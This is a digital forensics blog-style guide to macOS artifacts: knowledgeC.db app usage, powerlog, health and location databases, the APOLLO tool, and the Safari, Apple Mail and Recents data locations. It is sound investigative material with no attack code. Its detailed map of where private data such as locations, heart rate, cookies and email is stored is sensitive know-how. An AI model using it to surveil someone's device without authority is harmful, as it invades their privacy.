When investigating macOS, one of the most valuable sources of forensic data is the knowledgeC.db  database . This database logs a wide range of activities related to application usage, media playback, device status, and user interactions. ------------------------------------------------------------------------------------------------------------- Application Usage Tracking Apps Used on macOS The knowledgeC.db   database stores details about application usage , including: macOS: ~/Library/Application Support/Knowledge/knowledgeC.db Start and end times of app usage Bundle ID of the application Time spent in seconds and minutes Launch reason Day of the week GMT offset Entry creation timestamp The Best tool which can help you to extract is mac4n6 /APOLLO https://github.com/mac4n6/APOLLO/blob/master/modules/knowledge_app_inFocus.txt Application Intents Beyond app usage, knowledgeC.db  records contextual data in the form of Intents , which includes: Start and end times App name and Bundle ID Intent verb and action class (i.e., what the app was doing) Device ID (hardware UUID) for tracking synced activity across iCloud devices Contact details and contextual information More granular data stored in serialized plist files, such as direct messaging activity in apps like Twitter Use Below Query or Tool: https://github.com/mac4n6/APOLLO/blob/master/modules/knowledge_app_intents.txt ------------------------------------------------------------------------------------------------------------- Media Tracking: What’s Playing on the Device Forensic analysis of media playback on macOS is also possible via knowledgeC.db , which logs details like: Start and end times Usage duration in seconds Bundle ID of the media-playing app Metadata including album, artist, title, and duration Device output details (e.g., MAC addresses of audio output devices) Use Below Query or Tool: https://github.com/mac4n6/APOLLO/blob/master/modules/knowledge_audio_media_nowplaying.txt ------------------------------------------------------------------------------------------------------------- Device Status Monitoring Locked and Plugged-In Status We ca determine when a device was locked and whether it was plugged into power using knowledgeC.db . Query for Locked device https://github.com/mac4n6/APOLLO/blob/master/modules/knowledge_device_locked.txt Query for device plugged in https://github.com/mac4n6/APOLLO/blob/master/modules/knowledge_device_pluggedin.txt ------------------------------------------------------------------------------------------------------------- Volume and Battery Level Using CurrentPowerlog.PLSQL , investigators can track the battery status and volume levels of macOS and iOS devices. macOS: /private/var/db/powerlog/Library/BatteryLife/ (and /Archives directory) Query for powerlog_battery_level https://github.com/mac4n6/APOLLO/blob/master/modules/powerlog_battery_level.txt Query for powerlog_device_volume https://github.com/mac4n6/APOLLO/blob/master/modules/powerlog_device_volume.txt ------------------------------------------------------------------------------------------------------------- Call and Camera Status For those examining call activity or camera usage, Powerlog  maintains records of: Whether the front or rear camera was in use Ongoing call statuses macOS: /private/var/db/powerlog/Library/BatteryLife/ (and /Archives directory) Query for powerlog_camera_state https://github.com/mac4n6/APOLLO/blob/master/modules/powerlog_camera_state.txt Query for powerlog_incallservice https://github.com/mac4n6/APOLLO/blob/master/modules/powerlog_incallservice.txt ------------------------------------------------------------------------------------------------------------- Health Data Tracking Heart Rate Monitoring The healthdb_secure.sqlite  database, available in an encrypted backup or via a physical device dump , logs heart rate data  collected via Apple Watch. Query for health_heart_rate https://github.com/mac4n6/APOLLO/blob/master/modules/health_heart_rate.txt Steps and Distance Data This same database also records step count and distance traveled , which can be useful for understanding movement patterns. Query for health_distance https://github.com/mac4n6/APOLLO/blob/master/modules/health_distance.txt Query for health_steps https://github.com/mac4n6/APOLLO/blob/master/modules/health_steps.txt ------------------------------------------------------------------------------------------------------------- Other Key Data Sources Passcode Unlock and AirDrop Activity The Aggregate Dictionary (ADDataStore.db)  stores device activity logs for up to a week, including: Methods used to unlock a device Changes in passcode settings AirDrop activity, including files sent Query for aggregate_dictionary_scalars https://github.com/mac4n6/APOLLO/blob/master/modules/aggregate_dictionary_scalars.txt Frequent and Significant Locations Apple devices track Frequent Locations  under System Services . These logs store routine location data to assist with features like traffic predictions. While all location data is tracked, only the most frequently visited places appear in the user-facing settings. Find this setting under: Settings → Privacy → Location Services → System Services → Significant Locations ------------------------------------------------------------------------------------------------------------- Significant Locations macOS 10.13+ Where is the Data Stored? macOS 10.13 and newer, significant location data is stored in: /private/var/folders/.../com.apple.routined/Cache/   (macOS - appears encrypted) Key Databases The following databases contain location information: Cloud[-V2].sqlite  – Stores long-term visit records Cache.sqlite  – Holds granular location data for approximately one week Local.sqlite  – Another data store, though its specific purpose may vary A major change in iOS 11 introduced a new format for storing routine location data, making analysis different from previous versions. Wi-Fi Location Data (locationd) Apart from significant locations, macOS also track cellular and Wi-Fi access points. These records can be found in: Wi-Fi Location Data Wi-Fi-related data is stored in: macOS:   /private/var/folders/zz/.../cache_encryptedA.db Retention:  ~4 days Stored Information:  Timestamp, MAC address, channel, and location coordinates Wi-Fi location tracking works in the background, meaning the user does not need to connect to an access point for their device to log nearby Wi-Fi networks. ------------------------------------------------------------------------------------------------------------- I have given you query one by one above, But thing is you can run APOLLO tool at once and get output lets understand how ------------------------------------------------------------------------------------------------------------- APOLLO (Apple Pattern of Life Lazy Output’er) APOLLO is a powerful open-source tool designed to analyze Apple’s pattern-of-life data. Easy SQL-based analysis  for various Apple devices and OS versions Works with multiple platforms , including iOS, macOS, Android, and Windows Fast correlation of location data  for forensic investigations 📌 GitHub Repository:   https://github.com/mac4n6/APOLLO First Clone the directory than install simplekml once done run below command command: python3 apollo.py extract -o sql -p apple -v 11 -k ./module / Output: ------------------------------------------------------------------------------------------------------------- Other Useful Forensic Tools Apart from APOLLO, several other tools can assist in extracting and analyzing iOS and macOS location data: iLEAPP (iOS Logs, Events, and Properties Parser)  – Open-source tool for iOS forensics ( GitHub ) Magnet Axiom  – Commercial tool for mobile and computer forensics Cellebrite Physical Analyzer & Inspector  – Industry-standard tools for mobile device analysis ------------------------------------------------------------------------------------------------------------- Final Thoughts Understanding Apple’s significant location data and how it is stored can provide critical insights during forensic investigations. With the right tools, investigators can extract granular movement data, identify key locations, and correlate cellular and Wi-Fi records to build a comprehensive timeline of device activity. As Apple continues to update its security and data encryption methods, forensic experts must stay updated with the latest tools and methodologies to ensure efficient and accurate analysis. ----------------------------------------Dean---------------------------------------------------------

Safari, the default web browser for Apple devices, leaves behind various artifacts that can be useful for forensic analysis. These artifacts store information such as browsing history, session details, cached files, and thumbnails of visited websites. Understanding where and how Safari stores data on macOScan help investigators retrieve valuable insights. Key Safari Data Locations Safari stores different types of data across macOS . Below are the primary locations where forensic artifacts can be found: macOS Locations: ~/Library/Safari/ ~/Library/Containers/com.apple.safari/ These directories contain various types of browser-related data, including: Browsing history Cache files Session information Tab snapshots and thumbnails Downloaded files Cookies ------------------------------------------------------------------------------------------------------ Safari Browsing History Safari tracks user browsing activity in a SQLite database file called History.db . This database is found in different locations depending on the device: macOS:  ~/Library/Safari/History.db Retention Period: macOS:   Stores history for up to a year (default) but can be configured to retain data for a shorter period (one month, two weeks, one week, or one day). Tracking iCloud-Synced Browsing Activity If Safari history is synced across devices using iCloud, the origin field in History.db will indicate where the page was visited: 0 – Visited on this device 1 – Visited on another iCloud-connected device Two primary tables within History.db store crucial data: history_items  – Stores URLs, domains, and visit count. history_visits  – Contains visit timestamps (Mac Epoch format) and webpage titles. ------------------------------------------------------------------------------------------------------ Safari Session Data Safari maintains session-related information that helps reconstruct a user’s last browsing session. The session data is stored differently on macOS. macOS: LastSession.plist  (~/Library/Safari/LastSession.plist) Stores tab history in a binary plist format. If unencrypted, it contains tab identifiers, webpage titles, and URLs. ---------------------------------------------------------------------------------------------------------- Safari Thumbnails and Snapshots Safari captures tab snapshots and thumbnails to provide a visual representation of open webpages. macOS Snapshots: ~/Library/Containers/com.apple.Safari/Data/Library/Caches/com.apple.Safari/TabSnapshots/Metadata.db Stores cached tab screenshots along with metadata. Each snapshot has a UUID, which links it to its associated screenshot file. ------------------------------------------------------------------------------------------------------------- Cloud-Synced Safari Tabs Safari allows users to sync their open tabs across multiple Apple devices via iCloud . The CloudTabs.db  file stores this information. Locations: macOS:  ~/Library/Safari/CloudTabs.db Each record in this database includes: Hostname of the device where the tab is open. A list of currently open non-private tabs. A last modification timestamp indicating when the tab data was last updated. Additional metadata about synced tabs can be found in: macOS:  ~/Library/Containers/com.apple.Safari/Data/Library/Preferences/ByHost/com.apple.Safari..plist ------------------------------------------------------------------------------------------------------------- Safari Cache and Cached Data Cached data can provide insights into previously visited web pages, even if they are no longer stored in history. Cache Database Location: macOS:  ~/Library/Containers/com.apple.Safari/Data/Library/Caches/com.apple.Safari/ The Cache.db SQLite database holds cached files and metadata: cfurl_cache_response table – Stores cache metadata, including URL and timestamps. cfurl_cache_receiver_data table – Contains the actual cached files. While newer macOS versions store less cache in Cache.db, more recent data may be available in the WebKit cache system. ------------------------------------------------------------------------------------------------------------- Safari WebKit Cache: Understanding Cached Data Safari uses the WebKit Cache  to store cached website data, which can be found in different locations depending on the device: macOS:  ~/Library/Containers/com.apple.Safari/Data/Library/Caches/com.apple.Safari/WebKitCache/ The WebKit cache contains different types of data, including: Records Directory:  Stores cached data for each website visit. SubResources:  Contains a list of cached items linked to a specific website visit. Resources Directory:  Stores actual cached content such as images, scripts, and HTML pages. Blobs Directory:  Stores additional cached media files that are too large to fit in a single resource file. Correlation of Cached Files All WebKit cached items can be correlated using 20-byte SHA1 hash filenames. For example, if a user visits cyberengage.org to view an article , the SubResources file will list cached items such as images and scripts. These cached items can be matched to their corresponding data in the Resources directory using embedded SHA1 hashes. ------------------------------------------------------------------------------------------------------------- Key Safari Browser Artifacts for Investigation Beyond cached data, Safari stores valuable information in several key files: 1. Safari Configuration and Recent Searches File:  com.apple.Safari.plist (~/Library/Preferences/) Contents:  Stores Safari’s configuration settings and a list of recent searches performed by the user. 2. Cookies Storage File:  Cookies.binarycookies Contents:  Stores cookies in a proprietary binary format. Parsing Tools:  Open-source scripts like Safari-Binary-Cookie-Parser  can be used to extract cookie data. Note:  Other applications using WebKit (such as Twitter’s in-app browser) may also store cookies in a similar manner. 3. Bookmarks and Browsing History macOS:  Bookmarks.plist (/users/deanwinchester/library/safari) Recently Closed Tabs:   Stored in RecentlyClosedTabs.plist, which keeps track of tabs recently closed by the user. 4. Download History Safari keeps a record of downloaded files in Downloads.plist, (/users/deanwinchester/library/safari) but this data is automatically deleted after one day by default. macOS Download History Details: DownloadEntryIdentifier:  Unique identifier for each download. DownloadEntryURL:  URL where the file was downloaded from. DownloadEntryPath:  File location on the system (usually in ~/Downloads). Timestamps:  Records the start and completion time of the download. DownloadEntryBookmar k: Bookmark BLOB ----------------------------------------------------------------------------------------------------------------- Apple Mail Apple Mail, the default email client for macOS , stores a wealth of information about email accounts, messages, and attachments. Apple Mail Data Locations macOS Mail Storage On macOS, Apple Mail data is stored in the following locations: ~/Library/Mail/ – Primary storage for all email messages and metadata. ~/Library/Containers/com.apple.mail/ – Contains additional application-specific data. Each version of macOS assigns a version number to its Mail directory: macOS 10.13 – V5 macOS 10.14 – V6 macOS 10.15 – V7.... and so on Each email account has a dedicated GUID directory , which can be correlated using Accounts3.sqlite or Accounts4.sqlite databases. Types of Apple Mail Data Apple Mail stores various types of data that can provide insights into email activity: Accounts  – Information about configured email accounts. Cached Messages and Attachments  – Locally stored copies of emails and their attachments. Envelope Index  – A database containing metadata about emails. Mail Downloads  – Attachments saved by the user. Understanding Mailbox Structures Each email account has multiple mailboxes corresponding to different folders: Inbox Sent Messages Drafts Deleted Messages Junk Notes User-created mailboxes Mailboxes are stored as .mbox directories within the user's Mail directory: Example paths: ~/Library/Mail/V#/GUID/Inbox.mbox, Sent Messages.mbox, etc. The .mboxCache.plist file contains details about mailbox organization. Email messages are stored as .emlx files within the Messages directory inside .mbox folders. Email Messages and Attachments Apple Mail stores individual emails as .emlx files, which contain: Plaintext email headers and body content. An embedded property list with metadata. Attachments are handled in two ways: Quick Look Viewing:  Temporarily stored in ~/Library/Mail Downloads/ or ~/Library/Containers/com.apple.mail/Data/Library/Mail Downloads/ . Saved Attachments:  Stored in the ~/Downloads directory. Metadata for downloaded attachments includes extended attributes, such as quarantine information, which tracks when and how a file was downloaded. Envelope Index: The Email Metadata Database The Envelope Index SQLite database (found in MailData) indexes Apple Mail messages and includes: Addresses Table:  Stores indexed email addresses and contact names. Attachments Table:  Lists email attachments. Mailboxes Table:  Stores mailbox details, including message counts. Messages Table:  Contains metadata such as sender, recipient, subject, timestamps, and read status. Subjects Table:  Stores email subjects. ------------------------------------------------------------------------------------------------------------------- Recents Database Apple devices store a wealth of user interaction data to enhance user experience and functionality. One such data source is the Recents Database , which keeps track of recent interactions across various applications, including email, phone calls, and messages . This data can be valuable for both forensic investigations and general system understanding. Where is the Recents Database Stored? The Recents database is found on macOS: macOS: ~/Library/Containers/com.apple.corerecents.recentsd/Data/Library/Recents/ What Information Does the Recents Database Contain? The Recents database logs interactions with various applications, helping track recent activities such as: Associated Applications:  Identifies which app (Mail, Messages, Phone, etc.) was used. Contacts & Locations:  Stores recent interactions with contacts or locations. Timestamps:  Logs the last few instances of communication or activity. Additional Metadata:  Stores various keys and values related to interactions. ------------------------------------------------------------------------------------------------------------------ Conclusion Safari stores a vast amount of information that can be crucial in forensic investigations. From cached web pages to download history and Apple Mail, analyzing these artifacts can provide valuable insights. By understanding where and how Safari stores data, forensic experts can uncover hidden user activity, track browsing habits, and retrieve valuable evidence during investigations. ---------------------------------------Dean--------------------------------------------------